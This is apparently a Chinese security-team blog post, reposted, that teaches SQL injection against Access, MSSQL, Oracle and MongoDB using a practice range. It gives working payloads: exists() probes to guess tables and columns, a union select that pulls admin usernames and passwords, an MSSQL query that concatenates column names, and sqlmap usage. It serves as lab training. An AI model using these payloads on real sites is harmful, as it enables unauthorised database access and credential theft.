SQL注入之Oracle,mongoDB等注入

admin 2023年4月26日00:21:33评论27 views字数 1221阅读4分4秒阅读模式

常见数据库:access、mysql、mssql、MongoDB、postgresql、sqlite、oracle、sybase等

Access是没有库之分,比其他数据库低一个等级。目前在市面上的access已经很少了,和asp语言在一起使用。

Mysql中有数据库,库->表->列->数据。而access中只有表、列、数据。

简要学习各种数据库的注入特点

Mssql注入:https://blog.csdn.net/qq_35569814/article/details/100528187

Postgresql注入:https://blog.csdn.net/qq_36119192/article/details/104628797

Oracle注入:https://www.cnblogs.com/peterpan0707007/p/8242119.html

简要学习各种注入工具的使用指南

https://blog.csdn.net/qq_43085611/article/details/112788640

注意:

sqlmap不支持MongoDB的,穿山甲容易误报,nosqlattack可以注入MongoDB。

Access注入

墨者靶场

 SQL注入之Oracle,mongoDB等注入

注入思路与MySQL相同

SQL注入之Oracle,mongoDB等注入

先判断数据库类型

利用sqlmap(kali里面自带有)进行扫描(sqlmap -u 网址)

 SQL注入之Oracle,mongoDB等注入

扫描出为Access数据库(Access无infoemation_schema)

所以,需要用猜解的方式获得表名列名等

猜表名:id=1 exists(select * from admin),如果页面返回正常(页面不变),则表明存在admin表。

猜列名:id=1 and exists(select username from admin)     //页面返回正常,说明存在username列。

id=1 and exists(select passwd from admin)   //页面返回正常,说明存在passwd列

获取数据:id=1 union select 1,username,passwd,4 from admin

 SQL注入之Oracle,mongoDB等注入

将密码进行MD5解密

登录获得KEY

Access 暴力猜解不出的问题?

Access 偏移注入:解决列名获取不到的情况

查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况。

实现MySQL中的group_concat()函数的用法:

SELECT top 1 id, [name] = stuff((SELECT ',' + [name]FROM syscolumns sysWHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '')FROM syscolumns where id =2105058535;

Mssql注入步骤:

SQL注入之Oracle,mongoDB等注入

SQL注入之Oracle,mongoDB等注入
扫码关注我们

微信号:hanlu_security
QQ交流群:553897268



原文始发于微信公众号(寒鹭网络安全团队):SQL注入之Oracle,mongoDB等注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日00:21:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之Oracle,mongoDB等注入http://cn-sec.com/archives/1691852.html

发表评论

匿名网友 填写信息